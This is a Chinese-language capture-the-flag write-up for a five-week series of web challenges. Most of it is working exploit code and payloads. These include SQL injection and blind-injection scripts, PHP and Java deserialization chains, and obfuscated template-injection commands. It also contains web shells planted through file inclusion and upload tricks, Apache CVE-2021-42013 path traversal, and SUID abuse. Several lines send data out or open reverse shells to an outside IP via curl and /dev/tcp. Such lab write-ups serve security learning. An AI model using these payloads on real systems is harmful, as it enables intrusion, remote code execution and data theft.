目录
Week1
HTTP
Head?Header!
我真的会谢
NotPHP
Word-For-You
Week2
Word-For-You(2 Gen)
IncludeOne
UnserializeOne
ezAPI
Week3
BabySSTI_One
multiSQL
IncludeTwo
Maybe You Have To think More
Week4
So Baby RCE
BabySSTI_Two
UnserializeThree
又一个SQL
Rome
Week5
Give me your photo PLZ
Unsafe Apache
So Baby RCE Again
BabySSTI_Three
Final round
Week1
HTTP
按照提示传参就行
Head?Header!
按要求传参即可
我真的会谢
常规信息搜集来一套
访问/robots.txt
访问/www.zip
邮件查看源码有一段提示
访问/.index.php.swp
拼起来即可
NotPHP
瞪眼看就完了
payload:
?data=data://text/plain,Welcome to CTF&key1[]=1&key2[]=2&cmd=%0asystem('tac /f*');
num=2077.a
Word-For-You
题目提示flag在数据库中
有留言功能,有查询功能
万能密码
payload:
NewCTFer' or '1'='1
Week2
Word-For-You(2 Gen)
跑sqlmap梭就可
sqlmap -u http://001b81ea-46b4-492b-be09-56912a4c5fd4.node5.buuoj.cn:81/comments.php --data="name=NewCTFer" --random-agent -D wfy -T wfy_comments --dump-all --batch
IncludeOne
种子伪随机,md_rand是1219893521
【php】mt_rand 伪随机数漏洞_mt_rand漏洞-CSDN博客
跑出来种子为1145146
<?php
$a = mt_srand(1145146);
echo mt_rand();
echo "<br>";
echo mt_rand();
echo "<br>";
跑出下一个随机数
base被ban可以用rot13来读,NewStar关键字塞进伪协议即可
payload:
?file=php://filter/NewStar/read=string.rot13/resource=flag.php
guess=1202031004
右键查看源码
rot13解密拿到flag
UnserializeOne
瞪眼看链子
Start#__destruct -> Sec#__toString -> Easy#__call -> eeee#__clone ->Start#__isset -> Sec#__invoke
exp
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy
{
public $cla;
}
class eeee{
public $obj;
}
$a=new Start();
$b=new Sec();
$c=new Easy();
$d=new eeee();
$e=new Start();
$f=new Sec();
$e->func=$f;
$d->obj=$e;
$b->var=$d;
$b->obj=$c;
$a->name=$b;
echo serialize($a);
payload:
pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
ezAPI
提示只能输入数字,字母是一点都注不了
信息搜集,访问/www.zip拿到源码
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
看到其通过garphql来查询数据
当CTF遇上GraphQL的那些事
payload:
data={"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}&id=1
payload:
data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=1
Week3
BabySSTI_One
提示是flask的ssti
测出回显位
分享一个过waf巨好用的脚本
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
for i in range(500):
url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +'%}success' +'{%endif%}'
res = requests.get(url=url, headers=headers)
if 'success' in res.text:
print(i)
跑出来是117
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060'
# curl 124.222.136.33:1337?flag=`cat /f*`
i = 117
url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +f'("{cmd}")' +'%}success' +'{%endif%}'
res = requests.get(url=url, headers=headers)
print(res.text)
外带数据拿到flag
multiSQL
提示堆叠注入
点击验证成绩
感觉就是强网杯2019随便注那题改的
对关键词有过滤,无法大小写绕过,测出select,update,insert和union都被ban了
1';show tables;#
1';show columns from score;#
之后的部分直接打预编译
<?php
echo "0x".bin2hex("update score set listen = 200 where username = '火华';");
//0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b
1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#
点击验证成绩,拿到flag
IncludeTwo
直接打pearcmd
关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3's blog
bp发包,先写马
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
再包含🐎,命令执行
?file=/tmp/shell
Maybe You Have To think More
随便输个用户名,发包
响应头进行Set-Cookie,显然一个base64编码,所以打入的时候也要base64encode一下
之前整理过相关exp
【Web】CTFSHOW-ThinkPHP5-6反序列化刷题记录(全)-CSDN博客
urlencode改base64_encode就能直接打
读环境变量拿flag
Week4
So Baby RCE
目录穿越,读文件
cd / -> cd ..&&cd ..&&cd ..
cat -> ca$1t/ca$@t
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca$1t%09ffff?lllaaaaggggg
或者
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca$@t%09ffff?lllaaaaggggg
BabySSTI_Two
遇事不决,unicode编码一下
payload:
{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}
UnserializeThree
看这描述估计phar反序列化,这不随便秒
初始界面可以上传文件
常规信息搜集看到class.php
file_exists可以触发phar反序列化
Evil类作为攻击的恶意类
但是eval中#需要换行来绕过,ban了%0a(\n)可以用\r
exp生成phar文件
<?php
class Evil
{
public $cmd="\rsystem('tac /f*');";
}
$a = new Evil();
$phar = new Phar("ns.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();
先上传恶意phar文件(改下后缀)
然后phar伪协议触发phar反序列化
?file=phar:///var/www/html/upload/b2f268d362a679d4738d49c492671e53.png
命令执行拿到flag
又一个SQL
根据提示输入100,得到flag位置
测出布尔盲注
过滤了空格,/**/
用^和()配合避免空格的出现
盲注脚本
import requests
import time
s = requests.Session()
url = 'http://5bcf61f9-0450-41b9-99f0-11e4c61d02e2.node5.buuoj.cn:81/comments.php'
flag = ''
i = 0
d = 0
while d == 0:
i = i + 1
low = 32
high = 128
while low < high:
l = (low + high) // 2
# payload = f"1^(ascii(substr((select(database())),{i},1))>{l})"
# payload = f"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{l})+'0"
# payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{l})"
# payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{l})"
payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{l})"
data = {
"name": payload
}
r = s.post(url=url, data=data)
r.encoding = "utf-8"
if '好耶' in r.text:
high = l
else:
low = l + 1
time.sleep(0.2)
if low != 32:
flag += chr(low)
print(flag)
else:
break
print(flag)
跑出来结果
Rome
环境有rome依赖和spring依赖
反序列化入口
没有任何waf限制,一眼顶针,鉴定为烂
yso梭就行
java -jar ysoserial.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}" > payload
cat payload | base64 -w 0
urlencode keyword后直接在初始路由打入
监听,反弹shell,拿flag
Week5
Give me your photo PLZ
玩个骚操作直接秒了
先上传.htaccess
#define width 1;
#define height 1;
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=base64yjh.png"
再上传base64yjh.png
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
访问/upload/base64yjh.png,连蚁剑,读/flag
虚拟终端中执行env命令
Unsafe Apache
抓包,看响应头,看到是Apache/2.4.50
之前刷NSSRound赛的时候多次碰到Apache/2.4.49的RCE漏洞,这题也是现搜就完了
Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
其实二者几乎一模一样,经过尝试可以利用
直接打反弹shell
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'
监听,反弹shell,拿到flag
So Baby RCE Again
【Web】无回显RCE相关例题wp(1)
直接写马
?cmd=echo '<?php @eval($_POST[1])?>' > yjh.php
连蚁剑,读flag无权限
【Web】超级详细的Linux权限提升一站式笔记_linux提权读取文件-CSDN博客
find / -user root -perm -4000 -print 2>/dev/null
带有SUID权限位的提权方法
date -f /ffll444aaggg
date提权读文件,拿flag
BabySSTI_Three
遇事不决unicode
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[自己爆]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('tac${IFS}/f*').read()}}
爆出来是117,拿到flag
Final round
主要是空格的处理,/**/和/*关键字*/都被ban了,可以用%0c
黑客常用SQL注入绕过技术总结!-腾讯云开发者社区-腾讯云
测出可以时间盲注
时间盲注脚本,请:
import requests
import time
s = requests.session()
url = 'http://9a6f4477-9b46-4c41-935e-e0ee2ec50677.node5.buuoj.cn:81/comments.php?name='
flag = ''
i = 0
d = 0
while d == 0:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
# payload = f'1%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3))'
# payload = f'1%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3))'
payload = f'1%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3))'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
成功跑出flag